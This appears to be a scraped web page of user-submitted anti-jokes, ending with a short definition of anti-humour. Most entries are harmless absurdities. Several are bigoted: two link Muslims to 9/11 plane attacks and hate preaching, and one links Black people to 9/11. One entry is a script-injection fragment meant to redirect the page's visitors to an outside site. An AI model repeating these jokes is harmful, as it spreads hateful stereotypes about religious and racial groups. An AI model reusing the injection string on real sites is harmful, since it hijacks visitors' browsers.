So there is a muslum, then he flew a plane into a building and died a sudden death. But he was wearing a helmet.

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I once was told that life is like a box of chocolates, but then realized that it wasn't

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Whats fuzzy and pink? A pink fuzz ball

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But there's a sound Dumbledore knows... What does the Fawkes say?

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"'>document.location.href="http://cramik.org"

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Why does sammy have a cut on her arm? becuase her mom went to go stab her dad and missed

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Why did Dracula cross the road? To get to the other unbitten virgin.

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Q: Why didn't Little Jhonny go to school today? A: There was no school today.

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Why do black guys have ashy elbows? Because of 9/11

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Hook a finger from each hand in your mouth, now pull so your lips are tight and try to say "I was born on a pirate ship" I'm sorry, I can hardly understand you.

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Why couldn't the driver start his car? Because the driver was a tree

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Knock knock. Who's there? The IRS, please get out of the way.

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How would a camel lick its own tongue It doesn't It actually gets karate chopped by Bob Sager.

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A horse, a duck, a pig, and a muslim walk into bar. The horse ducks, the duck's hoarse, the pig's in a blanket, and the muslim has a can, being surprised at how far a can can preach hate in chicago. The bartender reminds the muslim that he is keeping company with a swine, and the muslim feels offended for the poor horse.

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did you hear about the dyslexic journalist? he employed an assistant to double check his work. They worked really well together.

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What do you call the man with no arms or legs, swimming in the bay? Bob.

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Why did the pirate have a peg leg? Diabetes

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What worse than seeing a worm in your apple? Half a worm in your apple.

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Why is Michael Jackson bad at chess ? Because he is dead.

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Horse walks into a bar... Bartender says It's probably not a good idea that you're in here. You're a very large animal. Any sudden movements, you may injure somebody. I don't know why you're here. None of the glasses are ergonomically designed for you to drink from them. So, you should probably leave.

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A doctor tells a woman he needs to take her rectal temperature. The woman tells the doctor "That's not my rectum." The doctor promptly apologizes and conducts the rest of the check up.

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Roses are red Violets are blue There's suppose to be a fourth line.

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What did the kid with no arms and no legs get for Christmas? a horse

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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